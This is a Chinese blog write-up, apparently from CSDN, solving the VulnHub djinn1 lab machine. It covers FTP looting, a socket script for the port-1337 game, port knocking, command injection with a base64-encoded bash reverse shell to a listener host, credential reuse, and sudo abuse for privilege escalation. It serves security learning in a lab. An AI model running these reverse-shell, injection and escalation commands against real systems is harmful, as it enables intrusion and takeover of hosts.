vulnhub-djinn1

获取 IP 地址,目标机器已显示:
febd49c17dc5de128461aa9bef3e919.png

获取信息:nmap -A -p- 192.168.67.108
得到 4 个端口:
21 --> FTP --> open --> 猜测有文件可获取
22 --> SSH --> filtered --> 猜测为敲门服务[DC 有练过]
1337 --> SOME --> open --> 使用 nc 连接
7331 --> HTTP --> open --> 网页
b14011fb981aadff659b1697daf9334.png
3d633a734a62e53cdb4e7c37e305211.png

21 --> FTP
仔细看 nmap 扫描返回的结果,可以看到可以使用 Anonymous 用户名登陆,并且有三个文件可读,可以 GET 下来查看:
ftp 192.168.67.108 21
ls
get creds.txt
get game.txt
get message.txt
e551895b9ee9f0bbb5c1b2ef713ac04.png
查看三个文件:
56a2b6abbd20bbff212ea6d37298270.png

1337 --> game
nc 192.168.67.108 1337
f07849b89f0fee6769488cb8b871213.png
哦吼,1000 次,这是手动做的事情吗?当然不是,编写脚本自动跑吧~脚本后面会简单解释下[注:python编写]

#!/usr/bin/env python3
import socket,time

def calc(firstnum,secondnum,flag):
    firstnum = int(firstnum)
    secondnum = int(secondnum)
    answer = 0
    if flag == '+':
        answer = firstnum + secondnum

    if flag == '-':
        answer = firstnum - secondnum

    if flag == '*':
        answer = firstnum * secondnum

    if flag == '/':
        answer = firstnum / secondnum
    return int(answer)

def get_data(s):
    try:
        total_data = []
        for i in range(1):
            try:
                time.sleep(0.1)
                data = s.recv(14)
                print("Length: "+str(len(data)))
                if not len(data):
                    break
                total_data.append(data.decode("utf-8"))
            except:
                continue
        return total_data
    except socket.error as e:
        print(e)

def main():
    try:
        time.sleep(2)
        s = socket.socket(socket.AF_INET,socket.SOCK_STREAM)
        s.setsockopt(socket.SOL_SOCKET,socket.SO_REUSEADDR,1)
        s.connect(("192.168.67.108",1337))
        s.setblocking(0)
        total_data = []
        time.sleep(2)
        data = s.recv(444)
        # print(data)
        total_data.append(data.decode("utf-8"))
        firstget = total_data[0]
        # print(firstget)
        flag = firstget[-9]
        num2 = firstget[-5]
        num1 = firstget[-13]
        print(num1,flag,num2)
        answer = str(calc(num1,num2,flag))
        print("Answer: "+answer)
        for i in range(1,1002):
            print("times: "+str(i))
            s.sendall(answer.encode("utf-8")+"\x0a".encode("utf-8"))
            if i == 1001:
                total_data = []
                time.sleep(2)
                data = s.recv(74)
                #print(len(data))
                total_data.append(data.decode("utf-8"))
                firstget = total_data[0]
                print(firstget)
            else:
                data = get_data(s)[0]
                num1 = data[1]
                flag = data[5]
                num2 = data[9]
                print("Calc: "+num1+flag+num2)
                answer = str(calc(num1,num2,flag))
                print("Answer: "+answer)
                print()


    except socket.error as e:
        print(e)

if __name__ == '__main__':
    main()

这里面最需要注意的地方就是 RECV 阻塞的问题,可以设置非阻塞状态,除此之外,需要在 recv 函数前设置 sleep ,模拟阻塞,这两个都没啥效果,会在中途出 bug,起初我的 recv[] 设置接受数据大小为 20480 ,后面一直不行,打印数据大小,将 recv[] 接受数据改为接受长度,第一次接受到的数据长度为 444 ,第二次到 1001 为 14,最后接受为敲门服务的三个端口号,长度为 74 [题目说是 1000 次,其实是 1001 次…想坑人]

花费时间在几分钟之内
8a49b7d8469dffb91efee30d3f257bd.png

22 --> SSH
得到敲门服务口令:1356, 6784, 3409[利用 nmap 敲门]
cb602f27da4433248d200471a1deaf5.png

刚开始我们可以看到 SSH 被过滤了:
64ae6f4a12ffea4e79326b1f75c994a.png

敲了门以后打开 SSH:[一次敲门不成功你就多敲几次,多敲几次就成功了:D]
nmap -p1356 192.168.67.108
nmap -p6784 192.168.67.108
nmap -p3409 192.168.67.108
nmap -p22 192.168.67.108
7e10cd3846712e1e6a30930539c21ae.png

很好,到这里我们花了一些时间,就为打开一个 SSH 服务:|

7331 --> HTTP
前面三个端口我们都弄完了,接下来到最后一个 web 看看:
f3c04742709d5556b1ed165cd5e0f85.png
就这?啥都点不了,dirb 跑一下路径:
dirb http://192.168.67.108/7331 /usr/share/wordlists/dirb/big.txt
跑出来两个东东:genie 和 wish
2296f0175b430fd08567837ba4fdb49.png
a744490323fabe60d85ff4a5c7fc11a.png

wish 页面一看 Excute 手痒输入 id 命令查看一下,弹出页面,仔细看,哇,障眼法呀(Ctrl_a 高亮)看不清楚查看网页源代码
7f4aa204989fc4a7c27cb5616ce845a.png

查看一下 /etc/passwd
454bfb63d3adebf0871b236567d3c40.png

不禁疑问,这是把空格过滤了还是什么,ls -l,一波,查看网页源代码
f5944b32d35a4aab9b37d7b39bbfba9.png
看来不是把空格过滤了,尝试一下能否获取反弹shell:

nc 192.168.67.221 8686 -e /bin/bash —> Wrong choice of words
这里是把 bash 给过滤掉了吗?换个姿势尝试下~

bash -i >& /dev/tcp/192.168.67.221/8686 0>&1 —> Wrong choice of words
看来是把一些特殊字符过滤掉了,尝试能否编码绕过,但是系统指令时不识别的,会显示未找到命令,那能不能吧把编码过的命令传过去,然后解码然后执行呢?答案是可行的

首先打开侦听端口:
nc -vnlp 8686

其次执行编码:
echo "bash -i >& /dev/tcp/192.168.67.221/8686 0>&1" | base64
2cf84019b7aced677743354133e17c2.png
得到一串编码:YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjY3LjIyMS84Njg2IDA+JjEK

再者在 wish 页面上执行:[其实就是先编码后解码再执行这么三步:D] --> 获取反弹 SHELL
echo "YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjY3LjIyMS84Njg2IDA+JjEK" | base64 -d | bash
5548a60531f149f2bd6b69c23e3720c.png

ls -la --> 我也不知道为啥图中双写了,查看了一下内容,没有啥发现,到家目录 /home 看一下
69e5e052e457730bab284920ebae49f.png
233b88ada7e6863003f7a6de2a9f88b.png

查看 users.txt 没有权限,进入 .cache 无权限,进入 .dev 可以,查看 creds.txt
cd .dev
cat creds.txt
6138fcaf5fb9aaca8af75957ccd2cc9.png

得到 nitish 的账号和密码 --> nitish:p4ssw0rdStr3r0n9
到这里可以用两种方法登陆

  1. SSH 登陆
  2. su 进入,但首先得获取 bash 壳,可借助 python,python -c 'import pty;pty.spawn("/bin/bash")',然后 su nitish

竟然有 SSH ,那干嘛不用呢?
ssh nitish@192.168.67.108
c17f03a645124dc08e0b25d89291b91.png

ls -la
cat user.txt
得到一个flag:
659b80866c9ee76dfecd23b3e34a4d9.png

想进入到另外一个 sam 用户,进不了,看一下有没有越权命令可用:
sudo -l
fdd7f3f771045f6ebe39799d6a11f07.png
有一个 /usr/bin/genie 可供我们用 sam 权限使用
man genie查看帮助

有 4 个命令可以使用,猜测作者是想在后续实验恶搞我们,恶趣味啊…后面证明确实如此…
53aa0dd2d0e323055a6f4334956e460.png

4 个命令均尝试一下,[注:玩多了你会发现从右往左或者从后往前可以提高效率,这里还是从前往后搞吧…]
sudo -u sam genie -g id
da0c9e3f7b1c922491acbf36bb13371.png
果然骂人…

sudo -u sam genie -p id 123 --> 还骂
a2b8af7e949e5e0731d4bca736e9d07.png

sudo -u sam genie -e id 123 --> 起初以为良心发现不骂了,事实证明我要拿 shell 时,不给就算了,又骂人
2bf66baf77f2ade2f81ee4c5d72e461.png

sudo -u sam genie -cmd dir --> 最后一个看来不是良心发现,而是不得不给:|
e46be42d795eca6c95cd292bf16bb3d.png

cd /home/sam
ls -la
cat .sudo_as_admin_successful --> 无反应
…初步查阅,有一个 .pyc 我们可以尝试反编译
但是需要下载下来,百思不得其解,后来学习到可以开一个简单的服务器,展示当前目录,从 Browser 下下载,学习了…
python -m SimpleHTTPServer
wget http://192.168.67.108:8000/.pyc
uncomplepy6 .pyc
得到源码,但是还不知道有什么用…
91b94d99d761f1e1778541e2cc7d6c7.png

老手段搞搞:sudo -l
8f3cda03aab63c01ca14c8f57352190.png
有 root 权限,看来提权就结束了
sudo -u root /root/lago --> 是几个选项,你会发现他又开始骂人…
1c24b9967b2d0da08191e43fa29d809.png

唯一能做的就是 2 选项,让你猜数字,只有这个是可以重复的,所以猜测提权入口点在这里。
除此之外你会发现,之前用 uncompyle6 反编译 .pyc 就是这个的源码
经过研究,尝试在 2 项中输入 num ,得到结果:[研究源码,你也会有所发现]
9e4eb57f09957f6b436cd18f68371d3.png
1dba00ac9aef33d89ab04c1080316d7.png
cd /root
ls -la
.proof.sh
32f9172e9b617d315ca5df5114c67a3.png

总结: 0.编写代码的能力 1.SSH 敲门服务 2.编码绕过得到反弹 shell 3.pyc 文件反编译 4.FTP 的简单使用 细节决定成败
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值